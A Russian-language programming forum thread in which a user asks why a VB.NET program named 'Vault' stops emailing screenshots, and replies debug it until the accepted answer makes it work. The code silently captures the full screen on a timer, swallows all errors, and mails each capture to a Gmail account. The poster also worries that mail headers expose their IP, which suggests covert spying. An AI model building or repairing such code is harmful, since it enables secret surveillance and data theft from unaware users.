Форум программистов, компьютерный форум, киберфорум
Visual Basic .NET
Войти
Регистрация
Восстановить пароль
Блоги Сообщество Поиск Заказать работу  
 
 
Рейтинг 4.86/21: Рейтинг темы: голосов - 21, средняя оценка - 4.86
4 / 4 / 0
Регистрация: 29.01.2017
Сообщений: 54

Снимок экрана - Отправка скриншота на почту

27.02.2017, 06:34. Показов 4338. Ответов 23
Метки нет (Все метки)

Студворк — интернет-сервис помощи студентам
VB.NET
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
Imports System.Net.Mail
 
 
Public Class Vault
 
    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        Timer1.Start()
    End Sub
 
#Region "screenshot"
 
    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
        Try
            Dim ScreenSize As Size = New Size(My.Computer.Screen.Bounds.Width, My.Computer.Screen.Bounds.Height)
            Dim screenGrab As New Bitmap(My.Computer.Screen.Bounds.Width, My.Computer.Screen.Bounds.Height)
            Dim g As System.Drawing.Graphics = System.Drawing.Graphics.FromImage(screenGrab)
            g.CopyFromScreen(New Point(0, 0), New Point(0, 0), ScreenSize)
            screenGrab.Save("C:\xxx.jpeg")
 
 
 
            Dim SmtpServer As New SmtpClient
            SmtpServer.EnableSsl = True
            Dim mail As New MailMessage
            SmtpServer.Credentials = New Net.NetworkCredential("xxxxxxx@gmail.com", "xxxxxxx")
            SmtpServer.Port = 587
            SmtpServer.Host = "smtp.gmail.com"
            mail = New MailMessage
            mail.From = New MailAddress("xxxxxxx@gmail.com")
            mail.To.Add("xxxxxxx@gmail.com")
            mail.Subject = ("SCREEN, " + System.DateTime.Now.ToString("yyyy/MM/dd HH:mm:ss"))
            mail.Body = "Pics"
            Dim attachment As System.Net.Mail.Attachment
            attachment = New System.Net.Mail.Attachment("C:\xxx.jpeg")
            mail.Attachments.Add(attachment)
            SmtpServer.Send(mail)
 
        Catch ex As Exception
        End Try
 
    End Sub
#End Region
 
End Class




Отправка скриншота работает некорректно, по таймеру отправляет 1 -2 раза и на этом прерывается. Что не так в коде?
1
Лучшие ответы (1)
Programming
Эксперт
39485 / 9562 / 3019
Регистрация: 12.04.2006
Сообщений: 41,671
Блог
27.02.2017, 06:34
Ответы с готовыми решениями:

Получение скриншота экрана
Привет всем! Пытаюсь получить скриншот экрана: QDesktopWidget *desktop = MyApplication::desktop(); QPixmap pic =...

Отправка скриншота на FTP
Public Class Vault Private Declare Function InternetOpen Lib "wininet.dll" Alias "InternetOpenA" (ByVal sAgent As String, ByVal...

Снимок экрана
Доброго времени суток господа программисты !!! Хочу спросить вот, о чём как сделать снимок экрана чтобы на нём было видно всё ! Делаю...

23
Модератор
Эксперт .NET
 Аватар для Yury Komar
4357 / 3427 / 512
Регистрация: 27.01.2014
Сообщений: 6,258
27.02.2017, 08:03
Может проблема в том, что программа просто не может сохранить файл на системный диск ввиду отсутствия соответствующих прав? Попробуйте сохранять скрин скажем на диск D или же в папку TEMP и оттуда ее прикреплять к письму
0
4 / 4 / 0
Регистрация: 29.01.2017
Сообщений: 54
27.02.2017, 08:13  [ТС]
Нет разници, полный путь C:\ProgramData\gdf.jpeg , но если убрать код почты то видно что скрин обновляется по таймеру.
0
53 / 53 / 17
Регистрация: 12.02.2017
Сообщений: 261
27.02.2017, 08:38
Цитата Сообщение от amstersi Посмотреть сообщение
по таймеру отправляет 1 -2 раза и на этом прерывается.
Если скриншоты отправляются значит код правильный

Попробуйте так

Кликните здесь для просмотра всего текста
VB.NET
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
Imports System.Net.Mail
 
 
Public Class Vault
 
            Dim ScreenSize As Size = New Size(My.Computer.Screen.Bounds.Width, My.Computer.Screen.Bounds.Height)
            Dim screenGrab As New Bitmap(My.Computer.Screen.Bounds.Width, My.Computer.Screen.Bounds.Height)
            Dim g As System.Drawing.Graphics = System.Drawing.Graphics.FromImage(screenGrab)
            Dim SmtpServer As New SmtpClient
            Dim mail As New MailMessage
            Dim attachment As System.Net.Mail.Attachment
 
    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        Timer1.Start()
    End Sub
 
#Region "screenshot"
 
    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
        Try
 
            g.CopyFromScreen(New Point(0, 0), New Point(0, 0), ScreenSize)
            screenGrab.Save("C:\xxx.jpeg")
 
 
 
 
            SmtpServer.EnableSsl = True
            SmtpServer.Credentials = New Net.NetworkCredential("xxxxxxx@gmail.com", "xxxxxxx")
            SmtpServer.Port = 587
            SmtpServer.Host = "smtp.gmail.com"
            mail = New MailMessage
            mail.From = New MailAddress("xxxxxxx@gmail.com")
            mail.To.Add("xxxxxxx@gmail.com")
            mail.Subject = ("SCREEN, " + System.DateTime.Now.ToString("yyyy/MM/dd HH:mm:ss"))
            mail.Body = "Pics"
            attachment = New System.Net.Mail.Attachment("C:\xxx.jpeg")
            mail.Attachments.Add(attachment)
            SmtpServer.Send(mail)
 
        Catch ex As Exception
        End Try
 
    End Sub
#End Region
 
End Class
0
4 / 4 / 0
Регистрация: 29.01.2017
Сообщений: 54
27.02.2017, 08:51  [ТС]
Ничего не меняется, оправляет 1 раз и на этом стоп.
0
53 / 53 / 17
Регистрация: 12.02.2017
Сообщений: 261
27.02.2017, 09:18
amstersi, вы используете локальные переменные ?
0
4 / 4 / 0
Регистрация: 29.01.2017
Сообщений: 54
27.02.2017, 09:32  [ТС]
без локальных, код как есть
0
53 / 53 / 17
Регистрация: 12.02.2017
Сообщений: 261
27.02.2017, 10:18
amstersi А скриншоты на диске ПК добавляются последовательно или заменяются ?
0
4 / 4 / 0
Регистрация: 29.01.2017
Сообщений: 54
27.02.2017, 10:23  [ТС]
заменяются
0
53 / 53 / 17
Регистрация: 12.02.2017
Сообщений: 261
27.02.2017, 10:48
А в этом примере получаете отправить письмо на почту несколько раз?
Вложения
Тип файла: rar E-Mail.rar (45.9 Кб, 11 просмотров)
0
4 / 4 / 0
Регистрация: 29.01.2017
Сообщений: 54
27.02.2017, 10:52  [ТС]
вопрос решён - нашёл причину, если интервал меньше 5 мин то делает скрин 1 раз и всё на этом, выставил 300000 (5min) работает. интересно почему так!?
0
53 / 53 / 17
Регистрация: 12.02.2017
Сообщений: 261
27.02.2017, 11:26
amstersi, так письмо не отправляется или скриншоты не создаются?
0
4 / 4 / 0
Регистрация: 29.01.2017
Сообщений: 54
27.02.2017, 11:28  [ТС]
скрины создаются и отправляются, но если таймер меньше 5min то результата нет. Всё работает.
0
53 / 53 / 17
Регистрация: 12.02.2017
Сообщений: 261
27.02.2017, 11:32
amstersi , а скриншоты могут создаваться если таймер меньше 5 мин? например 20 сек?
0
4 / 4 / 0
Регистрация: 29.01.2017
Сообщений: 54
27.02.2017, 11:49  [ТС]
меньше пяти мин 1 раз. 5 мин и выше всё работает отлично. Интересно почему??

Добавлено через 7 минут
работает и в 20 сек но не в разброс по времени 2-5 минут
0
53 / 53 / 17
Регистрация: 12.02.2017
Сообщений: 261
27.02.2017, 11:50
amstersi, Потому что почта блочит?
0
4 / 4 / 0
Регистрация: 29.01.2017
Сообщений: 54
27.02.2017, 11:57  [ТС]
не думаю.
0
Модератор
Эксперт .NET
 Аватар для Yury Komar
4357 / 3427 / 512
Регистрация: 27.01.2014
Сообщений: 6,258
27.02.2017, 14:19
а с другой почты не пробовали? с майл.ру например
0
4 / 4 / 0
Регистрация: 29.01.2017
Сообщений: 54
27.02.2017, 14:42  [ТС]
Нет сейчас попробую

Добавлено через 18 минут
на mail тоже самое, да и к тому же служебные заголовки почты ip мой, это не есть хорошо.
0
 Аватар для Sklifosofsky
1086 / 916 / 213
Регистрация: 29.09.2015
Сообщений: 1,019
27.02.2017, 15:43
Лучший ответ Сообщение было отмечено Yury Komar как решение

Решение

после отправки нужно очистить тело письма, т.к оно блочит доступ к файлу, а при новом вызове screenGrab уже не может его перезаписать

VB.NET
1
2
3
4
5
6
7
        
'...
 SmtpServer.Send(mail)
 
mail.Dispose()
 
'...
4
Надоела реклама? Зарегистрируйтесь и она исчезнет полностью.
inter-admin
Эксперт
29715 / 6470 / 2152
Регистрация: 06.03.2009
Сообщений: 28,500
Блог
27.02.2017, 15:43
Помогаю со студенческими работами здесь

Снимок экрана
Доброго времени суток! В библиотеке открыли доступ к электронным журналам. Можно только просматривать. Всё бы нормально, но можно...

Способы получения скриншота экрана
Всем привет. Есть ли способ сделать скрин экрана помимо использования метода CopyFromScreen? Мне необходимо реализовать потоковую...

Передача скриншота экрана (clientsocket)
Всем привет! Проблемма заключаеться в том что не могу разобраться с компонентами clientsocket и serversocket мне нужно: 1 программа,...

Отправка скриншота через Socket
Здравствуйте прошу у вас помощи пытался написать сию программу ,но видимо руки не достаточно ровные. Вот что в итоге получилось: ...

Отправка скриншота POST запросом
Собственно, сначала я изложу как я понимаю POST, затем задам вопросы. Красным подсветил вопрос номер 1. Еще, в кьют я...


Искать еще темы с ответами

Или воспользуйтесь поиском по форуму:
20
Ответ Создать тему
Новые блоги и статьи
Конвертировать закладки radiotray-ng в m3u-плейлист
damix 19.02.2026
Это можно сделать скриптом для PowerShell. Использование . \СonvertRadiotrayToM3U. ps1 <path_to_bookmarks. json> Рядом с файлом bookmarks. json появится файл bookmarks. m3u с результатом. # Check if. . .
Семь CDC на одном интерфейсе: 5 U[S]ARTов, 1 CAN и 1 SSI
Eddy_Em 18.02.2026
Постепенно допиливаю свою "многоинтерфейсную плату". Выглядит вот так: https:/ / www. cyberforum. ru/ blog_attachment. php?attachmentid=11617&stc=1&d=1771445347 Основана на STM32F303RBT6. На борту пять. . .
Камера Toupcam IUA500KMA
Eddy_Em 12.02.2026
Т. к. у всяких "хикроботов" слишком уж мелкий пиксель, для подсмотра в ESPriF они вообще плохо годятся: уже 14 величину можно рассмотреть еле-еле лишь на экспозициях под 3 секунды (а то и больше),. . .
И ясному Солнцу
zbw 12.02.2026
И ясному Солнцу, и светлой Луне. В мире покоя нет и люди не могут жить в тишине. А жить им немного лет.
«Знание-Сила»
zbw 12.02.2026
«Знание-Сила» «Время-Деньги» «Деньги -Пуля»
SDL3 для Web (WebAssembly): Подключение Box2D v3, физика и отрисовка коллайдеров
8Observer8 12.02.2026
Содержание блога Box2D - это библиотека для 2D физики для анимаций и игр. С её помощью можно определять были ли коллизии между конкретными объектами и вызывать обработчики событий столкновения. . . .
SDL3 для Web (WebAssembly): Загрузка PNG с прозрачным фоном с помощью SDL_LoadPNG (без SDL3_image)
8Observer8 11.02.2026
Содержание блога Библиотека SDL3 содержит встроенные инструменты для базовой работы с изображениями - без использования библиотеки SDL3_image. Пошагово создадим проект для загрузки изображения. . .
SDL3 для Web (WebAssembly): Загрузка PNG с прозрачным фоном с помощью SDL3_image
8Observer8 10.02.2026
Содержание блога Библиотека SDL3_image содержит инструменты для расширенной работы с изображениями. Пошагово создадим проект для загрузки изображения формата PNG с альфа-каналом (с прозрачным. . .
КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin
Copyright ©2000 - 2026, CyberForum.ru